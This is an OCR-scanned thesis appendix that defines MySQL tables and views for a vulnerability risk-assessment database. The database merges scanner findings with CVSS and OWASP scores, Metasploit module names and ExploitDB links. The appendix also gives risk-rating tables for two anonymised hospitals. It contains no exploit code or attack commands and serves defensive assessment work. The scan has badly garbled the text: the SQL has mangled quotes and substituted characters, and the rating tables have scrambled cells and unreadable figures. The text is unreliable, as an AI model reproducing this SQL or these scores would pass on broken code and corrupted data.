‘imp’, vuln2™.°BIT AS "BIY, vuIn2™."Nimp™ AS “Nimp®, vuln2™.'norm_Likh™ AS “norm_Likh","vuln2"."norm_imp"
AS “norm_imp’, vuln2."norm_nimp~ AS “norm_nimp,if((vuln2"."norm_Likh" > 6),3,if(("vuln2"."norm_Likh" <
3),1,2)) AS “owasp_Likh",if(('vuln2™."norm_imp" > 6),3,if((vuln2".’norm_imp" < 3),1,2)) AS
“owasp_imp’,if(Cvuln2™."norm_nimp™ > 6),3,if((vuln2™.’norm_nimp" < 3),1,if(('vuln2"."norm_nimp" between 3
and 6),2,NULL))) AS “owasp_nimp",round(((((0.6 * “vuln2"."imp*) + (0.4 * “vuIn2".’likh")) - 1.5) * 1.176),2) AS
“ev',concat(if(Cvuln2.'norm_Likh™ > 6),3,if((Cvuln2’.'norm_Likh" < 3),1,2)),if(("vuln2"."norm_imp" >
6),3,if(Cvuln2 . norm_imp" < 3),1,2))) AS "LxI",concat(if(("vuln2™.'norm_Likh" > 6),3,if((Cvuln2’."norm_Likh" <
3),1,2)),if(Cvuln2’."norm_nimp" > 6),3,if((vuln2™."norm_nimp" < 3),1,if(Cvuln2’."norm_nimp" between 3 and
6),2,NULL)))) AS "Lxnl","vuln2’."metasploit_name" AS “metasploit_name’,"vuln2"."see_also™ AS “see_also" from
‘vuln2” where 1
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Table B-12 Vuln2 View

No | Name Type Collation Null | Default | Extra
1 | name text utf8_general_ci Yes | NULL | System Name
2 | name2 varchar(27) utf8_general_ci Yes | NULL | IP Address (hide)
3 | nameip varchar(15) utf8_general_ci Yes | NULL | IP Address
4 | service mediumtext utf8_general_ci Yes | NULL | Service Name
5 | tag text utf8_general_ci Yes | NULL | Descriptionsl
6 | pluginID varchar(20) utf8_general_ci Yes | NULL | Plugin ID
7 | pluginName text utf8_general_ci Yes | NULL | Plugin Name
8 | solution text utf8_general_ci Yes | NULL | Solution
9] AV decimal(4,3) Yes | NULL | Access Vector
10 | AC decimal(3,2) Yes | NULL | Access Complexity
11 | AU decimal(4,3) Yes | NULL | Authentication
12| C decimal(4,3) Yes | NULL | Confidentiality
13 ] 1 decimal(4,3) Yes | NULL | Integrity
14 | A decimal(4,3) Yes | NULL | Availability
15 | likh decimal(8,2) Yes | NULL | Likelihood
16 | imp decimal(12,2) Yes | NULL | Impact
17 | BI decimal(17,4) Yes | NULL | Business Impact
18 | Nimp decimal(22,8) Yes | NULL | New Impact
19 | norm_Likh decimal(13,2) Yes | NULL | Normalize Likelihood
20 | norm_imp decimal(17,2) Yes | NULL | Normalize Impact
21 | norm_nimp decimal(21,2) Yes | NULL | Normalize New Impact
22 | owasp_Likh int(1) No 0 | Owasp Likelihood
23 | owasp_imp int(1) No 0 | Owasp Impact
24 | owasp_nimp int(1) Yes | NULL | Owasp New Impact
25 | cv decimal(17,2) Yes | NULL | CVSS Score
26 | LxI varchar(2) utf8_general_ci No Likelihood X Impact
27 | Lxnl varchar(2) utf8_general_ci Yes | NULL | Likelihood X Newlmpact
28 | metasploit_name text utf8_general_ci Yes | NULL | Metasploit Name
29 | see also text utf8_general_ci Yes | NULL | See Also

13. Summary View is table view for vulnerability risk summary data. We

can create view using SQL Command below and data structure following: Table B-13

ALTER ALGORITHM=UNDEFINED DEFINER="root' @ localhost™ SQL SECURITY DEFINER VIEW
“sumary” AS select distinct “vuln3™.’name” AS ‘name’, vuln3.’name2" AS ‘name2’,"vuln3.’nameip” AS

“nameip’, vuln3’. service™ AS service’,"vuln3’.’tag” AS “tag’, vuln3’.’pluginID” AS
“pluginiD’,"vuIn3’."pluginName™ AS “pluginName’, vuln3™. solution™ AS “solution’,"vuln3™."likh™ AS

“likh™, vuln3™.imp™ AS “imp’, vuln3"."BI” AS "BI°,"vuln3"."Nimp™ AS "Nimp’, vuIn3’."norm_Likh™ AS
‘norm_Likh","vuln3™."norm_imp™ AS “norm_imp", vuln3"."norm_nimp" AS “norm_nimp’, vuln3"."owasp_Likh"
AS “owasp_Likh","vuln3’."owasp_imp" AS “owasp_imp", vuln3"."owasp_nimp" AS “owasp_nimp’, vuln3’.’cv" AS
“cv', vuln3 U LxIT AS TLxIT, vuln3T.Lxnl” AS “LxnlLif((Cvuln3 . cv = 10),'1.critical',if(((Cvuln3 . "cv’ < 10) and
(Cwvuln3’.cv’ >=7)),2.high’,if(Cvuln3’.’cv’ < 7) and (‘vuIn3’."cv’ >= 4)),'3.medium’,if(((vuln3™.’cv’ < 4) and
(Cwuln3’.cv’ >=0)),'4.low','5.note")))) AS “risk_cvss’,(case “vuln3™."LxI" when 11 then '5.note' when 12 then '4.low'
when 21 then '4.low' when 22 then '3.medium’ when 13 then '3.medium’ when 31 then '3.medium' when 23 then
'2.high' when 32 then 2.high' when 33 then "1.critical' end) AS “risk_owasp’,(case "vuln3"."Lxnl" when 11 then
'5.note’ when 12 then '4.low" when 21 then '4.low' when 22 then '3.medium' when 13 then '3.medium' when 31 then
‘3.medium’ when 23 then "2.high' when 32 then '2.high' when 33 then '1.critical’ end) AS

“risk_nowasp’, vuln3’."metasploit_name™ AS “metasploit_name’, vuln3"."see_also™ AS “see_also’, cve .’cve” AS
“cve” from (Cvuln3’ join “cve’) where (Cvuln3."pluginID™ = “cve . pluginID)
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No | Name Type Collation Null | Default | Extra
1 | name text utf8_general_ci Yes | NULL | System Name
2 | name2 varchar(27) utf8_general_ci Yes | NULL | IP Address (hide)
3 | nameip varchar(15) utf8_general_ci Yes | NULL | IP Address
4 | service mediumtext utf8_general_ci Yes | NULL | Service Name
5 | tag text utf8_general_ci Yes | NULL | Descriptionsl
6 | pluginlD varchar(20) utf8_general ci Yes | NULL | Plugin ID
7 | pluginName text utf8_general_ci Yes | NULL | Plugin Name
8 | solution text utf8_general_ci Yes | NULL | Solution
9 | likh decimal(8,2) Yes | NULL | Likelihood
10 | imp decimal(12,2) Yes | NULL | Impact
11 | BI decimal(17,4) Yes | NULL | Business Impact
12 | Nimp decimal(22,8) Yes | NULL | New Impact
13 | norm_Likh decimal(13,2) Yes | NULL | Normalize Likelihood
14 | norm_imp decimal(17,2) Yes | NULL | Normalize Impact
15 | norm_nimp decimal(21,2) Yes | NULL | Normalize New Impact
16 | owasp_Likh int(1) No Owasp Likelihood
17 | owasp_imp int(1) No Owasp Impact
18 | owasp_nimp int(1) Yes | NULL | Owasp New Impact
19 | cv decimal(17,2) Yes | NULL | CVSS Score
20 | LxI varchar(2) utf8_general_ci No Likelihood X Impact
21 | Lxnl varchar(2) utf8_general_ci Yes | NULL | Likelihood X Newlmpact
22 | risk_cvss varchar(10) utf8_general_ci No Risk CVSS
23 | risk_owasp varchar(10) utf8_general_ci Yes | NULL | Risk OWASP
24 | risk_nowasp varchar(10) utf8_general_ci Yes | NULL | Risk NewOwasp
25 | metasploit_name text utf8_general_ci Yes | NULL | Metasploit Name
26 | see also text utf8_general_ci Yes | NULL | See Also
27 | cve text utf8_general_ci Yes | NULL | CVE Number
14. Rep OWASP View is table view for OWASP security risk assessment
report . We can create view using SQL Command below and data structure

following: Table B-14

ALTER ALGORITHM=UNDEFINED DEFINER="root' @ localhost™ SQL SECURITY DEFINER VIEW
“rep_owasp” AS select “sumary. risk_owasp™ AS ‘risk_owasp’, sumary’."name" AS ‘name’, sumary . service” AS
‘service’, sumary’. tag” AS “tag’, sumary.’pluginID" AS “pluginID’, sumary’. pluginName™ AS

“pluginName’, sumary". solution™ AS “solution’,"sumary". metasploit_name™ AS
“metasploit_name’, sumary . see_also™ AS “see_also’, sumary’."name2" AS ‘name2" from ‘sumary" where 1 group

by 1,2,3,4,5 order by 1
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No | Name Type Collation Null | Default | Extra
1 | risk_owasp varchar(10) utf8_general_ci Yes | NULL | Risk OWASP
2 | name text utf8_general_ci Yes | NULL | System Name
3 | service mediumtext | utf8 general ci Yes | NULL | Service Name
4 | tag text utf8_general_ci Yes | NULL | Descriptionsl
5 | pluginID varchar(20) utf8_general_ci Yes | NULL | Plugin ID
6 | pluginName text utf8_general_ci Yes | NULL | Plugin Name
7 | solution text utf8_general_ci Yes | NULL | Solution
8 | metasploit_name text utf8_general_ci Yes | NULL | Metasploit Name
9 | see_also text utf8_general_ci Yes | NULL | See Also

10 | name2 varchar(27) utf8_general_ci Yes | NULL | IP Address

15. Rep NOWASP View is table view for New Impact OWASP security
risk assessment report . We can create view using SQL Command below and data

structure following: Table B-15

ALTER ALGORITHM=UNDEFINED DEFINER="root'@ localhost” SQL SECURITY DEFINER VIEW
“rep_nowasp” AS select “sumary . risk_nowasp™ AS “risk_nowasp’, sumary’.’name” AS ‘name’, sumary . service"
AS service’,"sumary’.’tag’ AS “tag’, sumary’. pluginID" AS “pluginID", sumary . pluginName™ AS
“pluginName’, sumary’. solution™ AS “solution’, sumary . metasploit_name™ AS
“metasploit_name’, sumary’. see_also™ AS “see_also’,"sumary’. ' name2" AS ‘name2" from “sumary" where 1 group
by 1,2,3,4,5 order by 1

Table B-15 Rep NOWASP View

No | Name Type Collation Null | Default | Extra
1 | risk_nowasp varchar(10) utf8_general_ci Yes | NULL | Risk New OWASP
2 | name text utf8_general_ci Yes | NULL | System Name
3 | service mediumtext | utf8 general ci Yes | NULL | Service Name
4 | tag text utf8_general_ci Yes | NULL | Descriptionsl
5 | pluginiD varchar(20) utf8_general_ci Yes | NULL | PluginID
6 | pluginName text utf8_general_ci Yes | NULL | Plugin Name
7 | solution text utf8_general_ci Yes | NULL | Solution
8 | metasploit_name text utf8_general_ci Yes | NULL | Metasploit Name
9 | see also text utf8_general_ci Yes | NULL | See Also
10 | name2 varchar(27) utf8_general_ci Yes | NULL | IP Address
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2) Verification Vulnerabilities Tables and Views has 6 Table that is 1)
Full-disclosure Table, 2) ExploDB Table, 3) Msfvulns Table, 4) Paylo Table, 5)
Vmsfall View, and 6) Rep_cvss View following: Table B-16 to B-20

1. Full-disclosure Table is table for full-disclosure reference data. We can

create table using SQL Command below and data structure following: Table B-16

CREATE TABLE IF NOT EXISTS “fulldisc™ ( "CVE" varchar(13) DEFAULT NULL, “FullDisc" varchar(196)
DEFAULT NULL, Date” varchar(11) DEFAULT NULL, "Link™ varchar(67) DEFAULT NULL)

Table B-16 Full-disclosure Table

No | Name Type Collation Null | Default | Extra
1| CVE varchar(13) utf8_general_ci Yes | NULL | CVE Number

2 | FullDisc | varchar(196) | utf8 general ci | Yes | NULL | full-disclosure
3 | Date varchar(11) utf8_general_ci Yes | NULL | Date

4 | Link varchar(67) utf8_general_ci Yes | NULL | Link

2. ExploDB Table is table for exploitDB reference data. We can create

table using SQL Command below and data structure following: Table B-17

CREATE TABLE IF NOT EXISTS “explodb™ ( "EDB_ID" int(5) DEFAULT NULL, "CVE’ varchar(14)
DEFAULT NULL, ‘file® varchar(42) DEFAULT NULL, ‘description” varchar(142) DEFAULT NULL, “date’
int(5) DEFAULT NULL, ‘author™ varchar(30) DEFAULT NULL, ‘platform™ varchar(10) DEFAULT NULL,
“type’ varchar(7) DEFAULT NULL, “port™ int(5) DEFAULT NULL, ‘link varchar(41) DEFAULT NULL)

Table B-17 ExploDB Table

No | Name Type Collation Null | Default | Extra
1| EDB_ID int(5) Yes | NULL EDB ID
2 | CVE varchar(14) utf8_general_ci Yes | NULL CVE Number
3 | file varchar(42) utf8_general_ci Yes | NULL File Name
4 | description varchar(142) utf8 general _ci Yes | NULL Descriptions
5 | date int(5) Yes | NULL Date
6 | author varchar(30) utf8_general_ci Yes | NULL author
7 | platform varchar(10) utf8_general_ci Yes | NULL platform
8 | type varchar(7) utf8_general_ci Yes | NULL type
9 | port int(5) Yes | NULL Port Number
10 | link varchar(41) utf8_general_ci Yes | NULL Link
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3. Msfvulns Table is table for Metasploit code reference data. We can

create table using SQL Command below and data structure following: Table B-18

CREATE TABLE IF NOT EXISTS "msfvulns™ ( "CVE varchar(13) DEFAULT NULL, “Typ" varchar(3)
DEFAULT NULL, ‘Sys’ varchar(9) DEFAULT NULL, “fullname’ varchar(69) DEFAULT NULL, “name’
varchar(123) DEFAULT NULL)

Table B-18 Msfvulns Table

No | Name Type Collation Attributes | Null | Default | Extra
1| CVE varchar(13) utf8_general_ci Yes | NULL | CVE Number
2 | Typ varchar(3) utf8_general_ci Yes | NULL | Types
3 | Sys varchar(9) utf8_general_ci Yes | NULL | Systems
4 | fullname | varchar(69) utf8_general_ci Yes | NULL | Full Name
5 | name varchar(123) | utf8_general_ci Yes | NULL | Metasploit Name

4.

Paylo Table is table for Playloads code data. We can create table using

SQL Command below and data structure following: Table B-19

CREATE TABLE IF NOT EXISTS "msfvulns” ( "CVE" varchar(13) DEFAULT NULL, "Typ" varchar(3)
DEFAULT NULL, "Sys varchar(9) DEFAULT NULL, “fullname’ varchar(69) DEFAULT NULL, “name’
varchar(123) DEFAULT NULL)

Table B-19 Paylo Table

No Name | Type Collation Null | Default | Extra
paylo | varchar(55) | utf8 general ci Yes | NULL | Payload Path
typ varchar(7) utf8 general _ci Yes | NULL | Type
name | varchar(94) | utf8_general_ci Yes | NULL | Payload Name

5. Vmsfall View is table for Metasploit code data. We can create view

using SQL Command below and data structure following: Table B-20

ALTER ALGORITHM=UNDEFINED DEFINER="root'@ localhost” SQL SECURITY DEFINER VIEW
‘'vmsfall” AS select “msfvulns™.”Sys™ AS "Sys", 'msfvulns’."Typ™ AS "Typ’, msfvulns’."CVE" AS
"CVE’", 'msfvulns™."name” AS ‘name’, " msfvulns™. fullname™ AS “fullname™ from “msfvulns™ where 1

Table B-20 Vmsfall View

No | Name Type Collation Null | Default | Extra
1| Sys varchar(9) utf8_general_ci Yes | NULL | Systems
2 | Typ varchar(3) utf8_general_ci Yes | NULL | Type
3 | CVE varchar(13) utf8_general_ci Yes | NULL | CVE Number
4 | name varchar(123) | utf8_general_ci Yes | NULL | Metasploit Name
5 | fullname | varchar(69) utf8_general_ci Yes | NULL | Metasploit Path
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6. Vpaylo View is table for Payloads code data. We can create view using

SQL Command below and data structure following: Table B-21

ALTER ALGORITHM=UNDEFINED DEFINER="root' @ localhost™ SQL SECURITY DEFINER VIEW vpaylo
AS select "paylo”."typ” AS “sys’, paylo’.’paylo” AS “paylo’, paylo”."name” AS ‘name’ from “paylo” where 1

Table B-21 Vmsfall View

No Name | Type Collation Null | Default | Extra

1 | paylo | varchar(55) | utf8 general ci Yes | NULL | Payload Path

typ varchar(7) utf8 general _ci Yes | NULL | Type

3 | name | varchar(94) | utf8_general_ci Yes | NULL | Payload Name

7. Rep_cvss View is table for vulnerability reference/exploit report. We

can create view using SQL Command below and data structure following: Table B-22

ALTER ALGORITHM=UNDEFINED DEFINER="root' @ localhost™ SQL SECURITY DEFINER VIEW
“rep_cvss” AS select ‘sumary’. risk_cvss® AS “cvss’, sumary’.'name’ AS ‘name’, sumary . service® AS

‘service’, sumary’. tag” AS “tag’, sumary . pluginID” AS “pluginID’, sumary’. pluginName™ AS

“pluginName’, sumary". solution™ AS “solution’, sumary". metasploit_name™ AS
“metasploit_name’, sumary’. see_also™ AS “see_also’, sumary’."name2” AS ‘name2’, sumary’.'nameip” AS
“nameip’, sumary’."cve” AS “cve’, fulldisc™."FullDisc™ AS “fulldisc’, fulldisc™."Link™ AS “fullink”, explodb™."link®
AS “exdbink” from (("sumary" left join “fulldisc™ on(('sumary"."cve” = “fulldisc’."CVE"))) left join “explodb
on((“sumary’. cve" = “explodb’."CVE"))) group by 1,2,3,4,5

Table B-22 Rep_cvss View

No | Name Type Collation Null | Default | Extra
1| cvss varchar(10) utf8_general_ci No Risk
2 | name text utf8_general_ci Yes | NULL | Systems
3 | service mediumtext utf8_general_ci Yes | NULL | Service Name
4 | tag text utf8_general_ci Yes | NULL | Descriptionsl
5 | pluginiD varchar(20) utf8_general_ci Yes | NULL | Plugin ID
6 | pluginName text utf8_general_ci Yes | NULL | Plugin Name
7 | solution text utf8 general_ci Yes | NULL | Solution
8 | metasploit_name text utf8 general _ci Yes | NULL | Metasploit Name
9 | see also text utf8 general _ci Yes | NULL | See Also
10 | name2 varchar(27) utf8 general _ci Yes | NULL | IP Address (hide)
11 | nameip varchar(15) utf8_general_ci Yes | NULL | IP Address
12 | cve text utf8_general_ci Yes | NULL | CVE Number
13 | fulldisc varchar(196) | utf8_general ci ves | NuLL | full-disclosurel
14 | fullink varchar(67) utf8_general_ci ves | NuLL | full-disclosure2
15 | exdbink varchar(41) utf8_general_ci ves | NuLL | full-disclosure3
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APPENDIX C
SECURITY RISK EVALUATE RESULT

1) Risk Evaluate Result Hospital A

Table C-1 Risk Rating Hospital A

PR il Hronall SN Vulnerability o |y | ac| au | mem | c 1 A T | G| New
Rating lmp Rating mp Vector y aet Imp Imp
Symantec CVss2
Leriti ALK Backup Exec AV:N/A
cal 33 Leritical 3 NXKK for Windows CeLfAu: 1 07 | 07 9 0.66 066 0.66 9 375 619
x 100 Multiple NIC:CA1:
Vulnerabilities C/AC
CVSS#
ALK Cxi AV:N/A
Ty U“:m:"d cLAw | 1 |07 |07 | 9 066 | 066 | 066 | 9 35 | 608
x11 Detection NIC:CA1:
CiAaC
HP System CVss2
ALK Management AV:N/A
AKX Homepage < C:L/Au: 1 0.7 0.7 9 0.66 0.66 0.66 9 475 6.64
x25 7.0 Multiple N/C:CA1:
Vulnerabilities CIAC
Symantec CVss2
ALK Backup Exec AV:N/A
B for Windows C:L/Au: 1 0.7 0.7 9 0.66 0.66 0.66 9 525 6.86
x3 Multiple NCCHl:
Vulnerabilities CiAC
Oracle TNS Cvssa
2hig ) AN Listener AV:IN/A
h ol 2 high 32 AKX Remit C:L/Au: 1 0.7 0.7 9 0.28 0.28 0.28 58 375 4.59
x 100 Poisoning NIC:P/I:
PIAP
CVss2
Unsupported AV:N/A
Web Server C:LiAu: 1 0.7 0.7 9 0.28 0.28 0.28 58 375 4.59
Detection NIC:P/:
PIAP
CVss2
NXXX PHP <5211 AV:N/A
AKX Multiple C:LiAu: 1 0.7 0.7 9 0.28 0.28 0.28 58 s 447
x1l Vulnerabilities NIC:P/T:
PIAP
CVss2
PHP<53.11 AVIN/A
Multiple C:LiAu: 1 0.7 0.7 9 0.28 0.28 0.28 58 s 447
Vulnerabilities NIC:P/T:
PIAP
CVss2
PHP <3539 AV:N/A
Multiple C:LiAu: 1 0.7 0.7 9 0.28 0.28 0.28 58 s 447
Vulnerabilities NIC:P/T:
PIAP
CVss2
PHP 5.2 < AVIN/A
5.2.14 Multiple C:LiAu: 1 0.7 0.7 9 0.28 0.28 0.28 58 s 447
Vulnerabilities NIC:P/T:
PIAP
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Table C-1 Risk Rating Hospital A (Cont.)

CVES OWASP+ Likhx Exploi Busi .
Risk :I'“"' Risk New P Vulnerability \-"(::l AV | AC | AU | tabime | C 1 A '::r ness 1;“'
Rating mp Rating Imp or ¥ Tmp mp
HP System CVS528
2 hi HAAX Management AVINIA
-h & 33 1critical i3 AALXX Homepage < C:L/Aw 1 0.7 | 07 9 066 | 0.66 028 | 859 475 6.43
x25 7.1.1 Multiple NIC:CI:
Vulnerabilities CIAP
l:‘[P Systen; CvssaE
Homse"‘e T | Avaa
B 8 C:M/Au 1 0.6 0.7 1.73 0.66 0.66 0.66 9 475 6.64
7.2.0.14 iprange NIC-CHT
P Cod. ) :
ammeter 0% | crace
Execution
HP System CvssaE
Management
AVINFA 05
N ge. C:L/Aw: 1 0.7 . 116 0.66 0.66 0.66 9 475 6.64
ginkgosnmp.inc 6
Co i SIC:C:
- CiAC
Injection
PHP <353.12/ CYuso
ALK 542 CGI AVINIA
2 high 32 AN o . C:M/Au 1 0.6 0.7 1.73 0.66 028 0.28 7.7 35 542
X1l CQ miemgx:c"ﬁzn NICCIL
PIAP
HP System CVSs2#
ALK Management AVINFA
HANK Homepage < C:L/Auw: 1 07 | 07 9 0.66 0 0 6.18 4.75 523
x25 | 7.21.0 Muliiple | N/C:C/I:
Vulnerabilities N/AN
Microsoft
Windows CVS82&
3med HAXK Remote Desktop | AVINAA
;nm 2 3.medium 22 AXX Protocol Server | C:H/Au: 1 04 | 0.7 | 444 0.28 0.28 0.28 58 375 4.59
%100 Man-in-the- NIC:P/I:
Middle PIAP
Weakness
SSL Certificate oSS
CRWCT AV:N/A
Weak Hashing C:H/Au: 1 04 0.7 444 0.28 028 o 445 375 391
1
N/C:P/1:
Algorith
- PIAN
CVS528
ALK PHP <5210 AVINIA
HAKX Multiple C:H/Au: 1 04 0.7 444 0.28 028 0.28 58 35 447
xll Vulnerabilities NIC:P/I:
P/AP
CVS528
ALK . AVINIA
31 2 high 32 HAKX S':B illil;ng C:LiAw: 1 0.7 0.7 9 0 028 0 2.57 525 365
x21 = NIC:NA
PIAN
ASPNET —
ALK DEBUG AVINIA
AKX Method C:L/Aw: 1 0.7 | 0.7 9 0 028 0 2.57 475 342
x25 Enabled NIC:NA
PIAN
s | LU
i H
C:L/Aw 1 0.7 | 07 9 028 0 0 2.57 475 342
Remote User
Enumeration N/C:PIL:
NIAN
CVS528
o P:P AVINFA
PO _p_lrp C:L/Aw 1 0.7 | 07 9 028 0 0 2.57 4.75 342
Information
Disclosure NIC:PAI:
NIAN




Fac. of Grad. Studies, Mahidol Univ. M.Eng. (Computer Engineering) / 113

Table C-1 Risk Rating Hospital A (Cont.)

OWASP
cvss Likhy Exploi Busi )
Risk ;:: RL New P Vulnerability v‘i:::r AV | AC | AU | tabitic c 1 | a '::f ness II‘m':
Rating Rating Imp ¥ Imp
o | PHPMyAdmin34x | CVSS2¥A
3.me . <34.10.1 Cross-Site | V:NJAC:
31 2h 12 1 |06 |07 | 1m3 0 |o028 |of 257 | 475 | 342
dium igh ’:L;: Scripting (PMASA- | M/AuN/C
- 2012-1) NIPIAN
phpMyAdmin34x | CVSS2#A
< 3.4.8 Cross-Site V:N/AC:
1 |06 |07 | 713 0 |02 |of 257 | 475 | 342
Seripting (PMASA- | M/AWN/C
2011-18) NIPIAN
CVSS2HA
SMB Signing VAN/AC:L
1 |07 o7 | 9 0 |02 |of 257 | 475 | 342
Required JAUNICN
[LPIAN
CVSS2HA
. SMB Signing VAN/AC:L
. AL 1 o7 o7 | 9 0 |o028 |of 257 | 525 | 365
":_;; Required JAEN/CN
[LPIAN
CVSS2#A
. SMB Signing VAN/AC:L
ey Requind e | 1 L0707 | 9 0 | o028 |0f 257 | s25 | 3e6s
: MLPIAN
CVSS2#A
. SMB Signing VANAC:L
e Requidl aunjen | 1 |07 07| 9 0 |o028 |of 257 | 525 | 36s
- MLPIAN
CVSS2#A
. SMB Signing VAN/AC:L
. - 1|07 o7 | 9 0 | o028 |of 257 | 525 | 365
":;‘; Required [ANIC:N
- [PIAN
CVSS2HA
— SMB Signing VANAC:L
. e AL 1 |07 o7 | 9 0 | o028 |o0f 257 | s25 | 368
": :" Required JAUNICN
: MPIAN
JBoss Enterprise
x| Application Platform | CVSS24A
dmediv | gy | gy | FAPISmtsServiet | VNACL | oL g0 | g 028 o |of2s7| 375 | 207
m 100 Request Remote JAWNIC:P
* Information [ENJAN
Disclosure
Multiple Server CVSS2HA
Crafied Request VNJACL
WEB-INF Directory | o 1 |07 o7 | 9 028 | o |o|2s7 | 375 | 297
Information FAUN/C:P
[NIAN
Disclosure
vt | VA
Stength Cipher | o070 | 1| 06 [ 07 | 773 | 028 | 0 |o0f 257 | 375 | 297
Suites Supported | p AN
CVSS2#A
SSL Weak Cipher | V:NJAC:
1 o6 |07 | 773 | 028 | o |of 257 | 375 | 297
Suites Supported M/AWNIC
PINAN
Terminal Services i,v;f‘i‘A
Encryption Level is SRSy L os |07 | 773 | 028 | o |of 257 | 375 | 297
M ™ | MiAuNiC
PINAN
Web Server CVSS24A
Directory Traversal V:N/AC:L
Asbitinry File iiep | Uo7 [07 ] e 028 | o |o|2s7 | 375 | 297
Access SENFACN
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Table C-1 Risk Rating Hospital A (Cont.)

OWASF
cvss Likhx Explai Busi
Likh Cvss 1 N
mak | o New | IP Vulnerability Ve | AV | AC | AU | wbm | € 1 A :f ness "::
Rating Rating Imp ¥ Imp
XXX.X pel Osp;er'\iﬂa CVSS2HA
Jame | g | Bmediug ) gexx | Administrator VINIAC: g | 07 | 1m 0 028 | 0 | 257 | 35 | 286
dium m ) MIAWNIC
x1l omalogin. html NPIAN
DOM-based XSS |~
Microsoft CVSS2HA
Windows SMB | V:N/AC:L
NULL Sovsion | aunsep | 1|07 |07 | o 028 0 0 | 257 | 35 | 236
Authentication MINFAN
PHP <529 %ﬁiﬁ;‘_‘:
Multiple menien | 1|07 |07 | o 0 0 | o028 | 257 | 35 | 286
Vulnerabilities JEN/AP
PHP52<5217/ | CVSS2EA
53<535Swng | VNACL
B anien | 10T 07| 9 0 0 | o028 | 257 | 35 | 286
Conversion DoS fIN/ACP
phpMyAdmin | CVSS2#A
error.php BBeode VNAC:
Tag XS5 Miaunge | 1|06 |07 ] 1m 0 028 | 0 | 257 | 35 | 286
(PMASA-2010-9) | N/:PIAN
Web Server CVSS2HA
info.php / VNACL | 7 a7 | o 028 0 o | 257 | 35 | 236
phpinfo_php TAWN/C:P
Detection NNIAN
CVSS2HA
BEX SMBSigning | VIN/ACL
. FoA 1 |07 o7 | o9 0 028 | 0 | 257 | 375 | 297
"xlx Required AWN/C:N
* MPIAN
CVSS2#A
XX SSI Certificate | VANJACIL
2 2 high 32 :xlx Comot Be Tomsied | sauniop | 1 |07 [ 07| 9 028 | 028 | 0 | 445 | 375 | 391
- MPIAN
CVSS2HA
SSL SelfSigned | V:N/AC:L
- i | 1|07 07| 9 028 | 028 | 0 | 445 | 375 | 391
NPIAN
XXX PHP <5212 ?;Siﬂcﬁ
XX Multiple Manne | 1|06 [ 07| 2m | 028 | 028 | o028 | s8 35 | 447
x.11 Vulnerabilities PILPIAP
PHP <532/ sf;izg_‘:
s2Multple | CUE LT |07 |07 | 9 028 | 028 | 0 | 445 | 35 38
Vulnerabilities TPIAN
PHP52<52.15 ‘i,v;siﬁc“
Multiple Mawnge | 1| 06| 07| 77 | 028 | 028 | 028 | 58 35 | 447
Vulnerabilities PIL-PIAP
HP System oves28A
ALK Management VNJAC:
suxe | Homepage<73 | oRTE | 1| 06 | 07| 773 | 028 | 028 | 028 | S8 | 475 | 504
x5 Multiple PILbIAD
Vulnerabilities T
CVSS2HA
BEX T SSI Centificate | VANJACIL
x:.;: oot | e | V(07 [ 07| e 028 | 028 | 0 | 445 | 525 | 439
- MPIAN
CVSS2#A
SSL SelfSigned | VN/ACIL
oo pamgep | 1|07 07| 9 028 | 028 | 0 | 445 | 525 | 439
MPIAN
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Table C-1 Risk Rating Hospital A (Cont.)

OWASF
CVsS Likhx Exploi Busi .
Likh Cvs: I N
Risk -~ New P Vulnerability y AV | AC | AU | @b | © 1Al ™| s o
Rating xlmp . Imp Vector v act Imp Tmp
CVSS28A
3.mediu XX ETP Supports Clear | VANJAC:H
4 low 21 m 2 x:_;: Text Au ication JAUNIC:P 1 0.4 07 444 028 0 0| 257 475 342
- MENIACN
CVSS28A
SSL RC4 Cipher V:N/AC:H
Snites S cied JAEN/C:P 1 0.4 0.7 4.44 0.28 0 0| 257 4.75 342
SENFACN
Web Server Uses CVSS28A
Plain Text V:NSAC:H
Authentication JAUNIC:P 1 04 07 444 028 0 0| 257 475 342
Forms FfEN/ACN
CVSS2EA
WX SSLRCA Cipher | VANJACH
KANK ) Y ) 1 04 0.7 4.44 0.28 0 0| 257 525 365
35 Suites Supported TAWN/C:P
) MENACN
SSLI TLS CVSS28A
HAXX Renegotiation VNJAC-H
4 low 21 KKK Handshakes MiTM -‘.R-I.I‘N.I"C-'N 1 0.4 07 444 o 0.28 0| 257 375 297
x£.100 th.lext_ Data JPIAN
Injection
CVSS2EA
SSL RC4 Cipher V:N/AC:H
Suites S JAUNICP 1 0.4 07 444 028 0 0| 257 375 297
SENVACN
Terminal Services CVSSIEA
Encryption Level is VNSACH
ot FIPS-140 JAEN/C:P 1 04 0.7 444 0.28 0 0| 257 375 297
Compliant SENFACN
CVSS2EA
WX FTP Supports Clear | VAN/AC:H
x:_lxix Text Au ication JAUNIC:P 1 0.4 07 444 028 0 0| 257 35 286
) MEN/AN
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2) Risk Evaluate Result Hospital B

Table C-2 Risk Rating Hospital B

CVSS owasp | Likh Explo Busin | New
Risk | M mac | aNew | e Vulnerability Cvss | v | ac | AU | iabii | © 1 A i | Im
mp Ratin Vector pact
Rating 2 Tmp y pact pact
MS09-050:
Microsofi Windows
SMB2 CVSs#
1 critica x| _Smb2ValidateProvi | AV:IN/A
Leritical 33 1 33 AKX derCallback() C:L/Au: 1 0.7 0.7 9 0.66 0.66 0.66 9 5 6.75
x38 Vulnerability N/C:CI:
(975497) CIAC
(uncredentialed
check)
MS12-020:
Vulnerabilities in
Remote Desktop VR
1Leritica XX Could Allow Remote | 0
2 high 33 1 33 AKX Code Execution C:M/Au 1 0.6 0.7 773 0.66 0.66 0.66 9 6.5 743
%13 6T1357) N/C:C/
(uncredentialed B oC
check)
MS12-020:
Vulnerabilities in Ccvss2#
Remote Desktop
XX | Could Allow Remote | AV TVA
KX R C:M/Au 1 0.6 07 7.73 0.66 0.66 0.66 9 6.5 743
x14 Cf:ﬁ';’l‘;;"%m NIC:Cn
(uncredentialed Las
check)
MS12-020:
Vulnerabilities in CvssE
Remote Deskiop
XX Could Allow Remote | 20T
AKX . C:M/Au 1 0.6 0.7 773 0.66 0.66 0.66 9 5 6.75
x38 C"?;ﬁg:‘;;"ﬂ""“ NICC
(uncredentialed o8
check)
Microsofi Windows CVSs2#
" § XXX.X Remote Deskiop AV:IN/A
3.1’(::d|n b J.rr:dm n AKX Protocel Server C:H/Au: 1 0.4 0.7 444 0.28 0.28 0.28 58 5 515
x.1 Man-in-the-Middle N/C:P/I:
‘Weakness P/AP
Microsofi Windows CVss18
ALK Remote Deskiop AV:N/A
